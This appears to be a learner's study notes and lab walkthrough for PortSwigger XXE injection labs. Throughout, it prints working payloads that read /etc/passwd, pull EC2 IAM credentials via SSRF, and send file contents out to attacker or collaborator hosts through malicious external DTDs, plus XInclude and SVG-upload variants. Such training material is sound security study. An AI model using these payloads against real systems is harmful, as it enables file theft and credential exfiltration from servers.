###### `portsigger` `XXE` `injection` `web security` # XML Basic Concept XML is Extensible markup language. XML is used to store and transport the data between the client and server. XML tag dose not use predefined tags ## XML entities Entities in XML is a way of resenting "items" in XML document Declaration -> `<!ENTITY 'ent' 'value'>` Reference entity in XML document `&enitityName;` It like HTML Encoding XML language defined various entities. e.g. - `&lt` < - `&gt` > - `&amp` & ![圖片](https://hackmd.io/_uploads/rysfemYPp.png) ## Document type definition. (DTD) DTD allows us to defined the customer entity! (we can control !) DTD defines - Entity name - Entity value DTD can be either internal or external, with external DTDs loaded from a different location than the document itself. Allowing attacker injected the DTD via request and be pares on server. DTD also allow the entity's value can be loaded from outside, instead of the document itself ## XML Customer Entities XML allows the definition of custom entities within the DTD. For example: DTD ```xml <!DOCTYPE foo [ <!ENTITY meowentity "entity values"> ]> ``` ## XML External Entities (Exploitable) Customer XML entity defined in the DTD whose value can be loaded from an external source are know as "external entities" To defined customer external entity, we have to add `SYSTEM` keyword and specify the url which entity value should be load!. ``` <!DOCTYPE foo[ <!ENTITY externalEntity SYSTEM "http://normal-website/API"> ] > ``` It's also possible to use file protocol to load a file as external entities. ``` <!DOCTYPE foo [ <!ENTTY externalEntitiy SYSTEM "file:///etc/passwd"> ] > ``` # XXE (External Entity Injection) XML is common used to send the data from the client to the backend. XXE allow attacker to interfere with applications processing of data. ![圖片](https://hackmd.io/_uploads/B1Af_zFDT.png) ## XXE Arise Stand XML parser contains various danger functions. When application allow us inject the external entity. we can attempt to induce the application launch HTTP request or retrieve the file using file protocol. ## Type Of XEE attack type - Exploiting XEE to retrieve files - Exploiting XEE to perform SSRF attack - Exploiting XEE exfiltrate data out-of-band - Exploiting XEE to retrieve the data via error message. # Exploit-XEE ## Retrieve arbitrary files via file protocol When we want the using XEE to retrieve files, there are two step we have to do - Defined the customer external entity from DTD - Edit the data value in XML that is return in the application's respond. modify it to our defined customer external entity. Example: ``` <?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck> ``` IF application didn't have WAF or filter, we can attempt to inject external entity to retrieve the data ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE meow[<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <stockCheck><productId>&xxe</productId></stockCheck> ``` we defined external entity via DTD, the application will pare the entity and return the value of entity Result ! ``` Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ``` ### LAB-Exploit XEE using external entity to retrieve the sensitive data #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/BJbYKOtDT.png) #### Discovering Attack Surface Parameters ![圖片](https://hackmd.io/_uploads/BJccF_Fv6.png) Functionalities - check stock ![圖片](https://hackmd.io/_uploads/HJ63YuKDa.png) #### Identify We discover the functionality of checking stock through XML to transfer data ![圖片](https://hackmd.io/_uploads/HJvsquKDa.png) we can attempt induce the server send the request to our collaborate to identify vulnerability ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE meow [<!ENTITY XXE SYSTEM "http://ne5wo97glzo0f9am8rjmrj1oofu6i06p.oastify.com">]> <stockCheck><productId>1</productId><storeId>&XXE;</storeId></stockCheck> ``` ![圖片](https://hackmd.io/_uploads/SJG5CdKDa.png) ![圖片](https://hackmd.io/_uploads/HkpZRuKDT.png) According collaborate receive the request form the application, there is a XEE vulnerability. #### Exploit Retrieve the sensitive data `file:///etc/host` ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE meow [<!ENTITY XXE SYSTEM "file:///etc/passwd">]> <stockCheck><productId>&XXE;</productId><storeId>&XXE;</storeId></stockCheck> ``` ![圖片](https://hackmd.io/_uploads/HJp8kKFwa.png) ![圖片](https://hackmd.io/_uploads/ByOckFFPT.png) Solved ! ## XXE perform SSRF Attack Beside the retrieve the sensitive data form host. External entity allow us induce the server trigger the http request arrive any backe-infrastructure where we want Construct SSRF via XXE, we need to defined the customer external entity and find the another entity with data value that is returned in application response, otherwise we can only perform Bind SSRF attack payload: `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>` ### LAB-Exploiting XXE perform SSRF #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/ByzQV9FwT.png) #### Discover the attack surface Parameters ![圖片](https://hackmd.io/_uploads/SJJE49tDa.png) Functionalities - checking stock #### Identify Evaluated checking stock Normal request ![圖片](https://hackmd.io/_uploads/rJOyNcFwp.png) Reflected value in response ![圖片](https://hackmd.io/_uploads/HJU94qKDa.png) ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://y987jk2rgajbak5x32exmuwzjqphdc11.oastify.com"> ]> <stockCheck><productId> &xxe; </productId><storeId>1</storeId></stockCheck> ``` ![圖片](https://hackmd.io/_uploads/HytdHqKvp.png) ![圖片](https://hackmd.io/_uploads/S1sqB5twp.png) According the application's response, we can identify there is a the vulnerability of XXE. #### Exploit we can testing EC2 IP address ![圖片](https://hackmd.io/_uploads/B1wbLcFPT.png) Adding any value of path in response until print `/latest/meta-data/iam/security-credentials/admin` and update entity value to fetch the credential! ``` /latest/meta-data/iam/security-credentials/admin ``` ![圖片](https://hackmd.io/_uploads/SyuqLcYP6.png) # Blind XXE Blind XXE arise where the application is vulnerable XXE attack, but the custom entity value didn't appear in the response, This make it challenge to observer the impact of malicious request on the server. ## Identify bind-XXE via out-of-band techniques ```xml `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://ourC2server"> ]>` ``` IF our c2 server receive the response from target request,it indicate XEE Attack was successful. ### LAB-Blind XXE with out-of-band interaction #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/S1ldp6sDp.png) #### Discover the attack surface parameters ![圖片](https://hackmd.io/_uploads/SkKaT6jPT.png) Functionality - `product stock` It uses XML to transfer data to the Server ![圖片](https://hackmd.io/_uploads/BJoQAaiPT.png) #### Identify Evaluated the product stock functionality Normal request ![圖片](https://hackmd.io/_uploads/ByaL0asw6.png) Using out-out-band testing to check for XXE vulnerability. ![圖片](https://hackmd.io/_uploads/B1BH1Cjvp.png) ![圖片](https://hackmd.io/_uploads/HJgty0oD6.png) Base on the result, identify the existence of a bind XXE. ![圖片](https://hackmd.io/_uploads/Hym0yAjPp.png) Solved!!! --- ### Bypass some Regular Filter Some time, regular will be applied due to input validation or more secure XML parsing, n such cases, we can use parameter entities. XML parameter entities are a special kind of XML entity that can only be referenced elsewhere within the DTD. XML parameter entity ``` <!ENTITY % ent "entValue"> ``` Reference Entity ``` %entValue ``` Payload ```xml= <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]> ``` ### LAB-Bind XXE with out-of-bound interaction with XML parameter entities. #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/rkPbXAsvp.png) #### Discovering the attack surface Parameters ![圖片](https://hackmd.io/_uploads/HyBvXAsPa.png) Functionalities - Product stock ![圖片](https://hackmd.io/_uploads/Sy83XAoP6.png) #### Identify Evaluate product stock functionality Attempt Inject XML DTD and entity ![圖片](https://hackmd.io/_uploads/rJ32t12Pa.png) Using DTD parameter entity bypass filter ```xml <!DOCTYPE meow [<!ENTITY % XXE SYSTEM "http://e9o0enzj5podje8gk2r4qi4ouf06oxcm.oastify.com"> %XXE; ]> ``` ![圖片](https://hackmd.io/_uploads/r1yh5yhwT.png) Success !! ![圖片](https://hackmd.io/_uploads/BJBY912P6.png) We can ensure there is a Bind XXE in here. ![圖片](https://hackmd.io/_uploads/rykJoy3P6.png) Solved !!! --- ## Exploiting Bind XXE to Exfiltrate data via Out-Of-Band To exploit bind XXE to exfiltrate data out -of-band, we need to host malicious DTD file on our server, and invoking the external DTD with inbound XXE payload, like this 1, Host your malicious DTD file on your server, for instance ```xml= <!-- malicious.dtd --> <!ENTITY % senstiveFile SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &x25; exfiltrate SYSTEM 'http://c2server?x=%senstiveFile;'>"> %eval; %exfiltrate; ``` - `%sensitiveFile` defines the sensitive file you want to exfiltrate. - `%eval` dynamically declares the `exfiltrate` entity. - `%exfiltrate` invokes the exfiltration. 2.Invokes the malicious DTD hosted on your server. ``` <!DOCTYPE meow[ <!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe; ]> ``` When XML parser fetches the external DTD, it interprets it inline and executes the malicious entity, resulting in data exfiltration. Note: This technique might not support files containing many new line characters because some XML parsers validate the external URL for illegal characters such as `\r\n`. Instead, you can attempt using the FTP protocol or read other files, such as `/etc/hostname`. ### LAB-Exploit Bind XEE to exfilrate the data via Using malicious external DTD #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/HJQd_g2DT.png) #### Discovering the attack surface parameters ![圖片](https://hackmd.io/_uploads/ByP1tenwp.png) functionalities - product stock checking It use XML to transfer data between the client and server. ![圖片](https://hackmd.io/_uploads/B1n8KxhD6.png) #### Identify Evaluated XXE vulnerability in product checking Payload! ```xml <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://e9o0enzj5podje8gk2r4qi4ouf06oxcm.oastify.com"> %xxe; ]> ``` ![圖片](https://hackmd.io/_uploads/B1GLcenwT.png) ![圖片](https://hackmd.io/_uploads/HkjLcgnv6.png) According collaborate's respond there is a Bind XXE in here. #### Exploit Exfiltrate Data Parse external entity inline ``` <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://exploit-0a0600f9046692c681015d2c01820074.exploit-server.net/exploit.dtd"> %xxe; ]> ``` Malicious Entity ```xml <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://8jsuoh9dfjy7t8iauw1y0cei49a0ytmi.oastify.com/?x=%file;'>"> %eval; %exfiltrate; ``` ![圖片](https://hackmd.io/_uploads/SyMUTl2wT.png) ![圖片](https://hackmd.io/_uploads/H1L0TgnPa.png) ![圖片](https://hackmd.io/_uploads/rkA26x3P6.png) ![圖片](https://hackmd.io/_uploads/HkqJ0xhwT.png) Solved!!! --- ## Exploiting blind XXE to retrieve data via error message Trigger the error message is Another way to exploit blind XXE. If server reflect error message in response , we may through it to retrieve data. we can host malicious DTD on own suerver and induce the vulnerable website load the DTD and parse it inline. ```xml= <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://c2Server.net/exploit.dtd"> %xxe; ]> ``` Malicious Entity: ```xml= <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` ### LAB-Exploiting blind XEE to retrieve data via error message. #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/HkeyUNTwp.png) #### Discovering the attack surfaces Parameters ![圖片](https://hackmd.io/_uploads/rJbeO46P6.png) Functionalities - Product stock checking ![圖片](https://hackmd.io/_uploads/rJlouEaPT.png) Product Stock using XML transfer and exchange data. #### Identify Evaluating XXE vulnerability. ```xml= <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://e9o0enzj5podje8gk2r4qi4ouf06oxcm.oastify.com"> %xxe; ]> ``` ![圖片](https://hackmd.io/_uploads/HybRYV6P6.png) Using XXE to trigger out-of-band and we receive the HTTP response. ![圖片](https://hackmd.io/_uploads/Bk1Eq4pDp.png) There is a XXE vulnerability in stock checking. #### Exploit Retrieve the file contain via XXE Malicious Entity ```xml= <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://8jsuoh9dfjy7t8iauw1y0cei49a0ytmi.oastify.com/?x=%file;'>"> %eval; %exfiltrate; ``` Induce vulnerability to load our entities ``` <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://exploit-0a97007c03cef731807fc0fe01a0002f.exploit-server.net/exploit.dtd"> %xxe; ]> ``` ![圖片](https://hackmd.io/_uploads/HydAnVavp.png) We can use the file protocol to trigger an error message to exfiltrate `/etc/passwd`. Malicious Entity via error message ```xml= <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'file:///meowError/;'>"> %eval; %exfiltrate; ``` ![圖片](https://hackmd.io/_uploads/rkzwgSpwp.png) ```xml= <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'file:///meowError/%file;'>"> %eval; %exfiltrate; ``` ![圖片](https://hackmd.io/_uploads/Sk7i1rpP6.png) ![圖片](https://hackmd.io/_uploads/Hy9tgBaDT.png) Solved LAB --- ## Exploiting bind XXE repurposing a local DTD (SKIPPPp) ----> EXploit # Hidden attack surface for XXE injection In many case, XEE attack surface is obvious, typically occur when application transfer or exchange date though XML form. In some situation, the XXE vulnerability context in which not appear in XML document. ## XInclude attacks Some application will receive data form the client and embeding it in XML document such as SOAP (simple object access protocol) API Xinclude is part of specification that allow XML built from sub-document. To perform the xInclude attack, we have to reference the Xinclude namespace and provide the file path we wish include ``` <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ``` ### LAB-Exploit xInclude to retrieve file ### Mapping the target &PRecon ![圖片](https://hackmd.io/_uploads/BJowxd6Pp.png) ### Discovering the attack surface Parameters ![圖片](https://hackmd.io/_uploads/H1KwWdpwT.png) Functionalities - Product Stock Using scanner to Discover the hide Attack surface ![圖片](https://hackmd.io/_uploads/SkQIf_6va.png) ![圖片](https://hackmd.io/_uploads/SygTXO6v6.png) ### Identify Identify XXE in Product Stock xInclude testing ``` <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="http://f1h2s6logj4ogylo4vif231hx83zrpfe.oastify.com"/></foo> ``` ![圖片](https://hackmd.io/_uploads/HJ1Rcze_T.png) ![圖片](https://hackmd.io/_uploads/SJlkozxOa.png) Based on the Out-of-band interaction, the application is vulnerable on XXE xInclude attack ### Exploit Attempt to retrieve the /etc/passwd ```xml= <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ``` ![圖片](https://hackmd.io/_uploads/B1-e2zeuT.png) ![圖片](https://hackmd.io/_uploads/ryi4hfxdp.png) Solved !! ## XEE via file upload Some application allow the user to upload such jpg, png, and process them on server-side Commend file base on XML such as DOCX or office document, SVG For example, we the application receive the image form user, it will process it due to the SVG images using XML, we can submit malicious XML reach attack for XXE vulnerability. ### LAB Exploiting XXE via file upload #### Mapping the target & Recon ![圖片](https://hackmd.io/_uploads/HJCf7Qgua.png) #### Discovering the attack surface Parameters ![圖片](https://hackmd.io/_uploads/SkhIXmlup.png) Functionalities - Avatar Upload ![圖片](https://hackmd.io/_uploads/r1bdGQe_p.png) Allowing -> SVG (XML) - Post Comment #### Identify Evaluated Avatar upload It allowing XML upload -> we can attempt Scanner Audit ![圖片](https://hackmd.io/_uploads/HJMY8ml_a.png) ``` <!DOCTYPE meow [<!ENTITY % XXE SYSTEM "http://xtukkod681w68gd6wdaxultzpqvhj87x.oastify.com"> %XXE; ]> ``` ![圖片](https://hackmd.io/_uploads/BJDEDQgO6.png) ![圖片](https://hackmd.io/_uploads/S1SHPmlOa.png) Based on the Out-of-band interaction, the application is vulnerable on XXE xInclude attack #### Exploit Attempt to retrieve sensitive data and print on the SVG ```xml= <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> ``` ![圖片](https://hackmd.io/_uploads/B1ACi7l_a.png) ![圖片](https://hackmd.io/_uploads/BJEbi7gu6.png) ![圖片](https://hackmd.io/_uploads/HJZOiXlO6.png) ## XEE attack via modify attack type Some application will tolerate other content-type when submit the from e.g. Expect content-type `application/x-www-form-urlencoded` ``` POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 meow=hecker ``` If the application support XML, the follow with the same result ``` POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><meow>hecker</meow> ``` IF application tolerates requests containing XML, we can attempt inject external entity to identity the vulnerability. <!-- #### Mapping the target & Recon #### Discovering the attack surface parameters Functionalities #### Identify #### Exploit -->